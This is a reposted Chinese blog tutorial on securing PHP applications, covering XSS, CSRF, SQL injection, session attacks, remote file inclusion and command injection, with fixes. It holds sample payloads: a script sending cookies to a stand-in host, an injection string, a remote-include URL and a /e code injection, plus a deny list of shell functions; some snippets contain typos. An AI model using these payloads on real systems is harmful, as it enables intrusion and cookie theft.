PHP安全

php如何做到安全

14 November 2013
0

一、概念和原则

所有的输入数据都是不安全的

我们不能信任任何外来的数据,例如用户的表单提交数据、请求字符串、甚至是RSS种子,都不能信任。这些数据都可以被伪造。 这些数据中可能故意包含某些字符,破坏程序的运行环境,例如可能包含有害的javascript代码。

因此,PHP预定义全局数组中的数据都有可能是伪造信息,包括$_POST,$_GET,$_COOKIE,甚至包括$_SERVER数组,因为这个数组中的部分数据是由客户端提供的信息。唯一的例外是$_SESSION,因为SESSION数据是保存在服务器上的。

总结:在处理输入数据之前,先进行过滤,有两种过滤方法:白名单和黑名单

黑名单和白名单过滤

黑名单过滤更宽松,它假设我们知道所有不能允许通过的内容。例如预先定义一系列的单词表,只要不在这个单词表中出现的内容都是合法的。

举例: 获得用户输入的用户名和密码以后,我们要进行过滤,不允许用户输入单引号,双引号,等号,大于小于号,分号等等,因为这些符号可能影响我们SQL语句的结果,导致执行了意料之外的SQL,对数据安全造成严重破坏

白名单过滤更严格,他假设我们只知道能允许通过的内容。例如预先定义一系列规则,只有满足这个规则的内容才是合法的。

举例:获得用户输入的用户名和密码以后,我们要进行过滤,只允许用户输入字母和数字,因为我们确信这些符号不可能影响我们SQL语句的结果。

对输入进行过滤

我们可以在客户端使用javascript脚本对输入数据进行过滤验证,但是不能只依靠客户端,因为数据可以不通过你编写的客户端发送到服务器,因此,我们可以在客户端进行校验以提高用户感受,但在服务器端对数据进行验证是必须的。

TIPS:可以使用ctype_alpha()函数来验证内容是否全部由字母组成,ctype_alnum()判断内容是否全由数字组成。

对输出进行适当编码

不当的输入数据可能危害你的程序,不当的输出同样有可能危害你的客户。Web程序主要是与数据库和浏览器打交道,根据数据输出对象的不同,要进行相应的编码。

如果是输出数据到浏览器,那么要检查数据是否符合HTML规范,例如<>用于表示一个特定的标记,因此如果你的数据中包含<>,就需要对它们进行编码,以保证浏览器能够正确识别

TIPS:htmlspecialchars()和htmlentities()函数可以对HTML特殊符号进行编码,推荐使用后者

如果是输出数据到数据库,那么可以使用*_escape_string()函数来对SQL语句编码,推荐使用预编译处理Prepared SQL语句。从PHP5.1开始引入了PDO对象,可以在所有数据库引擎上提供Prepared SQL语句功能。即使某个数据库引擎不支持Prepared SQL,PDO也会自动为你进行语法转换。

举例

// 对输入进行过滤
$clean = array();
if (ctype_alpha($_POST[’username’]))
{
      $clean[’username’] = $_POST[’username’];
}


// 使用占位符来编写SQL语句
$sql = ’SELECT * FROM users WHERE username = :username’;


// 创建预编译语句对象
$stmt = $dbh->prepare($sql);


// 绑定用户名参数
$stmt->bindParam(’:username’, $clean[’username’]);


// 执行并获取结果集
$stmt->execute();
$results = $stmt->fetchAll();

Register Globals

从 PHP 4.2.0 版开始,配置文件中register_globals 的默认值从 on 改为 off。当register_globals 的默认值为on时,所有变量(请求、表单、会话、COOKIE)都直接注入代码,也就是说当你使用$a这个变量时, 这个变量的数值有可能来自任何地方(请求、表单、会话、COOKIE),这给程序员开发带来了便利,但如果程序员的代码不严谨的话,将带来安全隐患

例如

<?php
//$authorized = false; 如果程序员漏写了这条语句
if (authenticated_user()) {
    $authorized = true;
}

// 由于并没有事先把 $authorized 初始化为 false,
// 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值
// 所以任何人都可以绕过身份验证
if ($authorized) {
    include "/highly/sensitive/data.php";
}
?>

等到PHP 6推出,这个register_globals配置项将被取消。

二、网站安全

伪造表单

要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER["HTTP_REFERER "]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。 所以必须在服务器端对数据进行验证!

跨站脚本攻击(XSS)

跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:

你开发了一个留言程序,这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言

<script>
document.location = ’’http://example.org/getcookies.php?cookies= ’’
+ document.cookie;
</script>

那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、密码、电话等隐私信息)发送到另外一个指定的网站。

这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成

&lt;script&gt;
document.location = 'http://example.org/getcookies.php?cookies= '
   + document.cookie;
&lt;/script&gt;

因此也就不能造成危害了

跨站请求伪造(CSRF)

XSS攻击依靠的是用户对于网站程序的信任, 而CSRF攻击依靠的是网站对于用户的信任。例如:

一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1

那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接<img src="http://yourhost/buybook.php?book_id=0129&qty=1 " />,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。

对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操作。

预防CSRF请求可以采取以下方法

1)对于关键行为,避免使用$_GET,$_REQUEST,只使用$_POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)

2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。

3)对于关键行为,设置令牌,例如
<?php
session_start();
$token = md5(uniqid(rand(), TRUE));//随机生成一个令牌
$_SESSION[’token’] = $token;//存入SESSION
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

这样,接收到提交数据后,就可以用SESSION中保存的令牌,与请求中的令牌进行比较,这样就可以完全防止伪造的请求。

三、数据库安全

当使用用户输入作为SQL语句的组成部分时,很容易遭到SQL注入攻击。

例如采用方法进行登录验证时

$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT * FROM users WHERE username='{$username}' AND password='{$password}'";

如果恶意用户输入用户名为 ' OR '1' = '1,那么拼接成的SQL语句就变成了
SELECT * FROM users WHERE username='' OR '1' = '1' AND password='...'
这条语句将查询出数据库中所有的用户,恶意用户就顺利登陆了

使用*_escape_string()函数对数据进行编码后,再进行拼接,或者使用预处理SQL语句,可以有效地防止SQL注入。

例如使用*_escape_string()函数对恶意用户名编码后,用户名将变成 /' OR /'1/' = /'1


四、会话安全


会话攻击最常见有两种形式:Session Fixation和session hijacking
大部分其他形式的攻击都可以通过输入过滤和输出编码来预防,但是会话攻击不行。
我们需要尽早为为此而做准备,同时查找程序潜在的漏洞

1、Session Fixation (会话指定,又叫做session riding,会话桥接),攻击的过程如下:

在恶意网站上放置如下链接<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>, 用户点击这

个网站进入目标网站。假如这个用户正好是一个管理员,他登陆进入管理后台。(因为PHP默认将SESSIONID保存在COOKIE中

,但如果客户端禁用COOKIE,PHP就会使用请求字符串传递,并且SESSIONID的默认名称为PHPSESSID,所以PHP现在将从请求

字符串获得SESSIONID。

在管理员在后台操作的这段时间,SESSIONID一直是有效的,直到他退出登录为止。

如果我们在一个用户通过这个恶意链接访问目标站点以后,立刻也使用1234这个SESSIONID进行自动访问,那么就可以以管理

员身份登录到后台进行操作,比如增加一个管理员......

解决Session Fixation的方法是:一旦用户改变身份,就立即让原来的SESSION失效,这样就可以有效防止 Session

Fixation。

session_start();
// If the user login is successful, regenerate the session ID
if (authenticate())
{
session_regenerate_id();
}

2、session hijacking (session劫持)

session hijacking是常见的网络攻击方式,你的网关服务器,你同一个网段的用户都可以通过“嗅探器”软件来监听你的

TCP通信数据,可以从这些数据中分析出来他们感兴趣的目标网站和SESSION ID。
没准在你在目标网站浏览操作的同时,攻击者也在用你的身份进行浏览操作。

为了防止这样的攻击方式,我们可以采取下面的方式
1)在SESSION中保存$_SERVER[’HTTP_USER_AGENT’],不同的客户端的USER_AGENT应该不完全相同,因此可以起到一定的

预防session劫持的作用

2)执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码

的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号

3)登录和关键操作最好使用SSL连接,以防信息被监听

4)不要在COOKIE和SESSION中保存明文密码(MD5也不安全,可以在1小时内被暴力破解开)


五、文件系统安全

PHP可以直接访问文件系统、执行Shell命令,这给程序开发提供了强大的支持的同时也可能会带来危险。同样,恰当的过滤和编码可以避免危险。


1、远程代码注入

我们可以使用include和require来包含文件,这两个命令非常方便。

例如我们可以使用下面的代码来在页面包含一个可变化的模块

include "{$_GET[’section’]}/data.inc.php";

当用户访问http://example.org/?section=news 的时候,上面的语句变成

include "news/data.inc.php";

页面就包含了新闻模块。

但如果攻击者使用这样的链接来访问http://example.org/?section=http://attack/attack.php ?
那么上面的语句就变成
include "http://attack/attack.php?/data.inc.php ";

那么服务器将运行攻击者提供的attack.php程序。

为了防止这种情况的发生,我们可以使用下面的代码来实现动态包含的功能
$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’];
}
else
{
$clean[’section’] = ’home’;
}
include "{clean[’section’]}/data.inc.php";

另外,PHP配置文件中的allow_url_fopen选项可以设置是否将URL地址当作普通文件对待,默认情况下,这个选项为ON,因

此也就可以在include和require里面使用URL地址。如果将该选项关闭,那么也可以防止上述情况的发生。

假设有下面一段代码
<?php
    $string='AaBbCcDdEeFfGg';
    $pattern='/^/e';
    echo $preg_replace($pattern,"str_replace('abc','<i>abc</i>',AaBbCc);", "AaBbCc");
?>


2、命令行注入

PHP提供了exec(), system(),passthru(),shell_exec()等函数,以及` (反引号)运算符。这些函数可以直接调用命令行系统指令

,例如system('dir c:'); 可以显示C盘符下的目录内容, system("ls -al|cat/etc/passwd");可以获得passwd的内容。

假如攻击者能将这些命令注入你的代码并运行,将给系统带来巨大的危害。

例如,我们实现一个全文搜索功能,要把文章中用户指定的单词变成斜体显示,我们的代码如下
<?php
    $string='the content to display';
    $pattern='/^/e';   
    echo preg_replace($pattern,"str_replace('".$_GET['word']."', '<i>".$_GET['word']."</i>',

$string);","");
?>

其中/e修正符指定,将要替换部分作为PHP代码运行。
当用户输入content, 那么网页上将显示the <i>content</i> to display,实现了我们所需功能。

但是如果攻击者输入b','b','b'); phpinfo();//
那么将运行str_replace('b','b','b'); phpinfo();//.......

再例如,我们根据用户输入,来决定调用什么函数
<?php 
if(isset($_GET['func']))
    {
        $myfunc=$_GET['func']);
        echo $myfunc();
        echo "<br/>";
    }
?>
假如用户输入?func=phpinfo, 那么将运行phpinfo()

我们还是应该使用适当的过滤和编码来解决命令行注入问题,可以使用escapeshellcmd()和escapeshellarg()函数。
如果有可能,避免使用命令行,如果必须要用,那么也应该避免使用用户输入来拼接shell命令。


3、共享主机

在共享主机模式下,存在许多安全问题。PHP曾经尝试推出safe_mode配置选项来解决这些问题。但是,正如PHP手册所说,

“从PHP的层面出发解决这些问题在体系结构上就是不对的”。因此PHP6不会推出safe_mode配置选项。

但是对于共享主机来说,存在三个非常重要的配置选项:open_basedir, disable_functions, 和disable_classes

1)open_basedir
open_basedir选项用于限定可使用的文件范围。当使用fopen()或者include时,php检查文件的路径,如果在open_basedir

指定的目录下,那么可以成功打开文件,否则失败。

可以在php.ini配置文件中,或者基于每台虚拟主机的httpd.conf配置文件中,设置open_basedir。
在下例中,PHP脚本只能使用/home/user/www 和 /usr/local/lib/php目录下的文件(后者通常是PEAR库文件的保存目录)
<VirtualHost *>
DocumentRoot /home/user/www
ServerName  www.example.org
<Directory /home/user/www>
   php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>

2)disable_functions和disable_classes
disable_functions和disable_classes允许你因为安全考虑而禁用某些PHP函数或者类。只能在php.ini中配置这两个选项

。请看下面的例子:

; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory


总结

时刻牢记输入过滤和输出编码!

转自:http://blog.0755hqr.com/post-758.html

原文地址:https://www.cnblogs.com/codingrabbit/p/4371556.html